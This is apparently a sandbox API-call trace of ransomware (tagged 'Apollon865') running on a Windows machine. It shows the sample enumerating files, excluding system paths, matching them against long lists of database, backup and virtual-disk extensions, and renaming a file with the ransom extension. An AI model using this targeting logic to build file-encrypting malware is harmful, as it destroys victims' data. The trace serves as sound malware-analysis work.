	[0077.939] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0077.939] lstrlenW (lpString="dcb") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0077.939] lstrlenW (lpString="dct") returned 3
	[0077.939] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0077.939] lstrlenW (lpString="dcx") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0077.940] lstrlenW (lpString="ddl") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0077.940] lstrlenW (lpString="dlis") returned 4
	[0077.940] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0077.940] lstrlenW (lpString="dp1") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0077.940] lstrlenW (lpString="dqy") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0077.940] lstrlenW (lpString="dsk") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0077.940] lstrlenW (lpString="dsn") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0077.940] lstrlenW (lpString="dtsx") returned 4
	[0077.940] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0077.940] lstrlenW (lpString="dxl") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0077.940] lstrlenW (lpString="eco") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0077.940] lstrlenW (lpString="ecx") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0077.940] lstrlenW (lpString="edb") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0077.940] lstrlenW (lpString="epim") returned 4
	[0077.940] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0077.940] lstrlenW (lpString="fcd") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0077.940] lstrlenW (lpString="fdb") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0077.940] lstrlenW (lpString="fic") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0077.940] lstrlenW (lpString="flexolibrary") returned 12
	[0077.940] lstrlenW (lpString="fm5") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0077.940] lstrlenW (lpString="fmp") returned 3
	[0077.940] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0077.940] lstrlenW (lpString="fmp12") returned 5
	[0077.941] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1
	[0077.941] lstrlenW (lpString="fmpsl") returned 5
	[0077.941] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1
	[0077.941] lstrlenW (lpString="fol") returned 3
	[0077.941] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0077.941] lstrlenW (lpString="fp3") returned 3
	[0077.942] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0077.942] lstrlenW (lpString="fp4") returned 3
	[0077.942] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0077.942] lstrlenW (lpString="fp5") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0077.943] lstrlenW (lpString="fp7") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0077.943] lstrlenW (lpString="fpt") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0077.943] lstrlenW (lpString="frm") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0077.943] lstrlenW (lpString="gdb") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0077.943] lstrlenW (lpString="gdb") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0077.943] lstrlenW (lpString="grdb") returned 4
	[0077.943] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0077.943] lstrlenW (lpString="gwi") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0077.943] lstrlenW (lpString="hdb") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0077.943] lstrlenW (lpString="his") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0077.943] lstrlenW (lpString="ib") returned 2
	[0077.943] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0077.943] lstrlenW (lpString="idb") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0077.943] lstrlenW (lpString="ihx") returned 3
	[0077.943] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0077.943] lstrlenW (lpString="itdb") returned 4
	[0077.944] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0077.944] lstrlenW (lpString="itw") returned 3
	[0077.944] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0077.944] lstrlenW (lpString="jet") returned 3
	[0077.944] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0077.944] lstrlenW (lpString="jtx") returned 3
	[0077.944] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0077.944] lstrlenW (lpString="kdb") returned 3
	[0077.944] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0077.944] lstrlenW (lpString="kexi") returned 4
	[0077.944] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0077.944] lstrlenW (lpString="kexic") returned 5
	[0077.944] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1
	[0077.944] lstrlenW (lpString="kexis") returned 5
	[0077.944] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1
	[0077.944] lstrlenW (lpString="lgc") returned 3
	[0077.944] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0077.947] lstrlenW (lpString="lwx") returned 3
	[0077.947] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0077.947] lstrlenW (lpString="maf") returned 3
	[0077.947] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0077.947] lstrlenW (lpString="maq") returned 3
	[0077.947] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0077.947] lstrlenW (lpString="mar") returned 3
	[0077.947] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0077.947] lstrlenW (lpString="marshal") returned 7
	[0077.947] lstrcmpiW (lpString1="pui.dll", lpString2="marshal") returned 1
	[0077.947] lstrlenW (lpString="mas") returned 3
	[0077.947] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0077.947] lstrlenW (lpString="mav") returned 3
	[0077.947] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0077.947] lstrlenW (lpString="maw") returned 3
	[0077.947] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0077.947] lstrlenW (lpString="mdbhtml") returned 7
	[0077.947] lstrcmpiW (lpString1="pui.dll", lpString2="mdbhtml") returned 1
	[0077.947] lstrlenW (lpString="mdn") returned 3
	[0077.947] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0077.947] lstrlenW (lpString="mdt") returned 3
	[0077.947] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0077.947] lstrlenW (lpString="mfd") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0077.948] lstrlenW (lpString="mpd") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0077.948] lstrlenW (lpString="mrg") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0077.948] lstrlenW (lpString="mud") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0077.948] lstrlenW (lpString="mwb") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0077.948] lstrlenW (lpString="myd") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0077.948] lstrlenW (lpString="ndf") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0077.948] lstrlenW (lpString="nnt") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0077.948] lstrlenW (lpString="nrmlib") returned 6
	[0077.948] lstrcmpiW (lpString1="ui.dll", lpString2="nrmlib") returned 1
	[0077.948] lstrlenW (lpString="ns2") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0077.948] lstrlenW (lpString="ns3") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0077.948] lstrlenW (lpString="ns4") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0077.948] lstrlenW (lpString="nsf") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0077.948] lstrlenW (lpString="nv") returned 2
	[0077.948] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0077.948] lstrlenW (lpString="nv2") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0077.948] lstrlenW (lpString="nwdb") returned 4
	[0077.948] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0077.948] lstrlenW (lpString="nyf") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0077.948] lstrlenW (lpString="odb") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0077.948] lstrlenW (lpString="odb") returned 3
	[0077.948] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0077.949] lstrlenW (lpString="oqy") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0077.949] lstrlenW (lpString="ora") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0077.949] lstrlenW (lpString="orx") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0077.949] lstrlenW (lpString="owc") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0077.949] lstrlenW (lpString="p96") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0077.949] lstrlenW (lpString="p97") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0077.949] lstrlenW (lpString="pan") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0077.949] lstrlenW (lpString="pdb") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0077.949] lstrlenW (lpString="pdm") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0077.949] lstrlenW (lpString="pnz") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0077.949] lstrlenW (lpString="qry") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0077.949] lstrlenW (lpString="qvd") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0077.949] lstrlenW (lpString="rbf") returned 3
	[0077.949] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0077.949] lstrlenW (lpString="rctd") returned 4
	[0077.949] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0077.949] lstrlenW (lpString="rod") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0077.950] lstrlenW (lpString="rodx") returned 4
	[0077.950] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0077.950] lstrlenW (lpString="rpd") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0077.950] lstrlenW (lpString="rsd") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0077.950] lstrlenW (lpString="sas7bdat") returned 8
	[0077.950] lstrcmpiW (lpString1="upui.dll", lpString2="sas7bdat") returned 1
	[0077.950] lstrlenW (lpString="sbf") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0077.950] lstrlenW (lpString="scx") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0077.950] lstrlenW (lpString="sdb") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0077.950] lstrlenW (lpString="sdc") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0077.950] lstrlenW (lpString="sdf") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0077.950] lstrlenW (lpString="sis") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0077.950] lstrlenW (lpString="spq") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0077.950] lstrlenW (lpString="te") returned 2
	[0077.950] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0077.950] lstrlenW (lpString="teacher") returned 7
	[0077.950] lstrcmpiW (lpString1="pui.dll", lpString2="teacher") returned -1
	[0077.950] lstrlenW (lpString="tmd") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0077.950] lstrlenW (lpString="tps") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0077.950] lstrlenW (lpString="trc") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0077.950] lstrlenW (lpString="trc") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0077.950] lstrlenW (lpString="trm") returned 3
	[0077.950] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0077.951] lstrlenW (lpString="udb") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0077.951] lstrlenW (lpString="udl") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0077.951] lstrlenW (lpString="usr") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0077.951] lstrlenW (lpString="v12") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0077.951] lstrlenW (lpString="vis") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0077.951] lstrlenW (lpString="vpd") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0077.951] lstrlenW (lpString="vvv") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0077.951] lstrlenW (lpString="wdb") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0077.951] lstrlenW (lpString="wmdb") returned 4
	[0077.951] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0077.951] lstrlenW (lpString="wrk") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0077.951] lstrlenW (lpString="xdb") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0077.951] lstrlenW (lpString="xld") returned 3
	[0077.951] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0077.951] lstrlenW (lpString="xmlff") returned 5
	[0077.951] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1
	[0077.951] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1
	[0077.951] lstrcmpiW (lpString1="pss10r.chm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.951] lstrcmpiW (lpString1="pss10r.chm", lpString2="Apollon865.txt.exe") returned 1
	[0077.951] lstrcmpiW (lpString1="pss10r.chm", lpString2=".") returned 1
	[0077.951] lstrcmpiW (lpString1="pss10r.chm", lpString2="..") returned 1
	[0077.951] lstrcmpiW (lpString1="pss10r.chm", lpString2="windows") returned -1
	[0077.951] lstrcmpiW (lpString1="pss10r.chm", lpString2="bootmgr") returned 1
	[0077.951] lstrcmpiW (lpString1="pss10r.chm", lpString2="temp") returned -1
	[0077.951] lstrcmpiW (lpString1="pss10r.chm", lpString2="pagefile.sys") returned 1
	[0077.951] lstrcmpiW (lpString1="pss10r.chm", lpString2="boot") returned 1
	[0077.952] lstrcmpiW (lpString1="pss10r.chm", lpString2="ids.txt") returned 1
	[0077.952] lstrcmpiW (lpString1="pss10r.chm", lpString2="ntuser.dat") returned 1
	[0077.952] lstrcmpiW (lpString1="pss10r.chm", lpString2="perflogs") returned 1
	[0077.952] lstrcmpiW (lpString1="pss10r.chm", lpString2="MSBuild") returned 1
	[0077.952] lstrlenW (lpString="pss10r.chm") returned 10
	[0077.952] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75
	[0077.952] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="pss10r.chm" | out: lpString1="pss10r.chm") returned="pss10r.chm"
	[0077.952] lstrlenW (lpString="pss10r.chm") returned 10
	[0077.952] lstrlenW (lpString="Apollon865") returned 10
	[0077.952] lstrlenW (lpString=".dll") returned 4
	[0077.952] lstrcmpiW (lpString1="pss10r.chm", lpString2=".dll") returned 1
	[0077.952] lstrlenW (lpString=".lnk") returned 4
	[0077.952] lstrcmpiW (lpString1="pss10r.chm", lpString2=".lnk") returned 1
	[0077.952] lstrlenW (lpString=".ini") returned 4
	[0077.952] lstrcmpiW (lpString1="pss10r.chm", lpString2=".ini") returned 1
	[0077.952] lstrlenW (lpString=".sys") returned 4
	[0077.952] lstrcmpiW (lpString1="pss10r.chm", lpString2=".sys") returned 1
	[0077.952] lstrlenW (lpString="pss10r.chm") returned 10
	[0077.952] lstrlenW (lpString="bak") returned 3
	[0077.952] lstrcmpiW (lpString1="chm", lpString2="bak") returned 1
	[0077.952] lstrlenW (lpString="ba_") returned 3
	[0077.952] lstrcmpiW (lpString1="chm", lpString2="ba_") returned 1
	[0077.952] lstrlenW (lpString="dbb") returned 3
	[0077.952] lstrcmpiW (lpString1="chm", lpString2="dbb") returned -1
	[0077.952] lstrlenW (lpString="vmdk") returned 4
	[0077.952] lstrcmpiW (lpString1=".chm", lpString2="vmdk") returned -1
	[0077.952] lstrlenW (lpString="rar") returned 3
	[0077.952] lstrcmpiW (lpString1="chm", lpString2="rar") returned -1
	[0077.952] lstrlenW (lpString="zip") returned 3
	[0077.952] lstrcmpiW (lpString1="chm", lpString2="zip") returned -1
	[0077.952] lstrlenW (lpString="tgz") returned 3
	[0077.952] lstrcmpiW (lpString1="chm", lpString2="tgz") returned -1
	[0077.952] lstrlenW (lpString="vbox") returned 4
	[0077.952] lstrcmpiW (lpString1=".chm", lpString2="vbox") returned -1
	[0077.952] lstrlenW (lpString="vdi") returned 3
	[0077.952] lstrcmpiW (lpString1="chm", lpString2="vdi") returned -1
	[0077.952] lstrlenW (lpString="vhd") returned 3
	[0077.953] lstrcmpiW (lpString1="chm", lpString2="vhd") returned -1
	[0077.953] lstrlenW (lpString="vhdx") returned 4
	[0077.953] lstrcmpiW (lpString1=".chm", lpString2="vhdx") returned -1
	[0077.953] lstrlenW (lpString="avhd") returned 4
	[0077.953] lstrcmpiW (lpString1=".chm", lpString2="avhd") returned -1
	[0077.965] lstrlenW (lpString="db") returned 2
	[0077.965] lstrcmpiW (lpString1="hm", lpString2="db") returned 1
	[0077.965] lstrlenW (lpString="db2") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="db2") returned -1
	[0077.965] lstrlenW (lpString="db3") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="db3") returned -1
	[0077.965] lstrlenW (lpString="dbf") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="dbf") returned -1
	[0077.965] lstrlenW (lpString="mdf") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="mdf") returned -1
	[0077.965] lstrlenW (lpString="mdb") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="mdb") returned -1
	[0077.965] lstrlenW (lpString="sql") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="sql") returned -1
	[0077.965] lstrlenW (lpString="sqlite") returned 6
	[0077.965] lstrcmpiW (lpString1="0r.chm", lpString2="sqlite") returned -1
	[0077.965] lstrlenW (lpString="sqlite3") returned 7
	[0077.965] lstrcmpiW (lpString1="10r.chm", lpString2="sqlite3") returned -1
	[0077.965] lstrlenW (lpString="sqlitedb") returned 8
	[0077.965] lstrcmpiW (lpString1="s10r.chm", lpString2="sqlitedb") returned -1
	[0077.965] lstrlenW (lpString="xml") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="xml") returned -1
	[0077.965] lstrlenW (lpString="$er") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="$er") returned 1
	[0077.965] lstrlenW (lpString="4dd") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="4dd") returned 1
	[0077.965] lstrlenW (lpString="4dl") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="4dl") returned 1
	[0077.965] lstrlenW (lpString="^^^") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="^^^") returned 1
	[0077.965] lstrlenW (lpString="abs") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="abs") returned 1
	[0077.965] lstrlenW (lpString="abx") returned 3
	[0077.965] lstrcmpiW (lpString1="chm", lpString2="abx") returned 1
	[0077.965] lstrlenW (lpString="accdb") returned 5
	[0077.965] lstrcmpiW (lpString1="r.chm", lpString2="accdb") returned 1
	[0077.965] lstrlenW (lpString="accdc") returned 5
	[0077.966] lstrcmpiW (lpString1="r.chm", lpString2="accdc") returned 1
	[0077.966] lstrlenW (lpString="accde") returned 5
	[0077.966] lstrcmpiW (lpString1="r.chm", lpString2="accde") returned 1
	[0077.966] lstrlenW (lpString="accdr") returned 5
	[0077.966] lstrcmpiW (lpString1="r.chm", lpString2="accdr") returned 1
	[0077.966] lstrlenW (lpString="accdt") returned 5
	[0077.966] lstrcmpiW (lpString1="r.chm", lpString2="accdt") returned 1
	[0077.966] lstrlenW (lpString="accdw") returned 5
	[0077.966] lstrcmpiW (lpString1="r.chm", lpString2="accdw") returned 1
	[0077.966] lstrlenW (lpString="accft") returned 5
	[0077.966] lstrcmpiW (lpString1="r.chm", lpString2="accft") returned 1
	[0077.966] lstrlenW (lpString="adb") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="adb") returned 1
	[0077.966] lstrlenW (lpString="adb") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="adb") returned 1
	[0077.966] lstrlenW (lpString="ade") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="ade") returned 1
	[0077.966] lstrlenW (lpString="adf") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="adf") returned 1
	[0077.966] lstrlenW (lpString="adn") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="adn") returned 1
	[0077.966] lstrlenW (lpString="adp") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="adp") returned 1
	[0077.966] lstrlenW (lpString="alf") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="alf") returned 1
	[0077.966] lstrlenW (lpString="ask") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="ask") returned 1
	[0077.966] lstrlenW (lpString="btr") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="btr") returned 1
	[0077.966] lstrlenW (lpString="cat") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="cat") returned 1
	[0077.966] lstrlenW (lpString="cdb") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="cdb") returned 1
	[0077.966] lstrlenW (lpString="ckp") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="ckp") returned -1
	[0077.966] lstrlenW (lpString="cma") returned 3
	[0077.966] lstrcmpiW (lpString1="chm", lpString2="cma") returned -1
	[0077.966] lstrlenW (lpString="cpd") returned 3
	[0077.967] lstrcmpiW (lpString1="chm", lpString2="cpd") returned -1
	[0077.967] lstrlenW (lpString="dacpac") returned 6
	[0077.967] lstrcmpiW (lpString1="0r.chm", lpString2="dacpac") returned -1
	[0077.967] lstrlenW (lpString="dad") returned 3
	[0077.967] lstrcmpiW (lpString1="chm", lpString2="dad") returned -1
	[0077.967] lstrlenW (lpString="dadiagrams") returned 10
	[0077.967] lstrlenW (lpString="daschema") returned 8
	[0077.967] lstrcmpiW (lpString1="s10r.chm", lpString2="daschema") returned 1
	[0077.967] lstrlenW (lpString="db-journal") returned 10
	[0077.967] lstrlenW (lpString="db-shm") returned 6
	[0077.967] lstrcmpiW (lpString1="0r.chm", lpString2="db-shm") returned -1
	[0077.967] lstrlenW (lpString="db-wal") returned 6
	[0077.967] lstrcmpiW (lpString1="0r.chm", lpString2="db-wal") returned -1
	[0077.967] lstrlenW (lpString="dbc") returned 3
	[0077.967] lstrcmpiW (lpString1="chm", lpString2="dbc") returned -1
	[0077.967] lstrlenW (lpString="dbs") returned 3
	[0077.967] lstrcmpiW (lpString1="chm", lpString2="dbs") returned -1
	[0077.967] lstrlenW (lpString="dbt") returned 3
	[0077.967] lstrcmpiW (lpString1="chm", lpString2="dbt") returned -1
	[0077.967] lstrlenW (lpString="dbv") returned 3
	[0077.967] lstrcmpiW (lpString1="chm", lpString2="dbv") returned -1
	[0077.967] lstrlenW (lpString="dbx") returned 3
	[0077.967] lstrcmpiW (lpString1="chm", lpString2="dbx") returned -1
	[0077.967] lstrlenW (lpString="dcb") returned 3
	[0077.967] lstrcmpiW (lpString1="chm", lpString2="dcb") returned -1
	[0077.967] lstrcmpiW (lpString1="chm", lpString2="dct") returned -1
	[0077.968] lstrcmpiW (lpString1="chm", lpString2="dcx") returned -1
	[0077.968] lstrcmpiW (lpString1="chm", lpString2="ddl") returned -1
	[0077.968] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="setup.chm" | out: lpString1="setup.chm") returned="setup.chm"
	[0077.968] lstrlenW (lpString="setup.chm") returned 9
	[0077.968] lstrlenW (lpString="Apollon865") returned 10
	[0077.968] lstrlenW (lpString=".dll") returned 4
	[0077.968] lstrcmpiW (lpString1="setup.chm", lpString2=".dll") returned 1
	[0077.968] lstrlenW (lpString=".lnk") returned 4
	[0077.968] lstrcmpiW (lpString1="setup.chm", lpString2=".lnk") returned 1
	[0077.968] lstrlenW (lpString=".ini") returned 4
	[0077.968] lstrcmpiW (lpString1="setup.chm", lpString2=".ini") returned 1
	[0077.968] lstrlenW (lpString=".sys") returned 4
	[0077.968] lstrcmpiW (lpString1="setup.chm", lpString2=".sys") returned 1
	[0077.968] lstrlenW (lpString="setup.chm") returned 9
	[0077.968] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0077.968] lstrlenW (lpString="Setup.xml") returned 9
	[0077.968] lstrlenW (lpString="Apollon865") returned 10
	[0077.968] lstrlenW (lpString=".dll") returned 4
	[0077.968] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0077.968] lstrlenW (lpString=".lnk") returned 4
	[0077.968] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0077.968] lstrlenW (lpString=".ini") returned 4
	[0077.968] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0077.968] lstrlenW (lpString=".sys") returned 4
	[0077.968] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0077.968] lstrlenW (lpString="Setup.xml") returned 9
	[0077.969] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0077.969] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
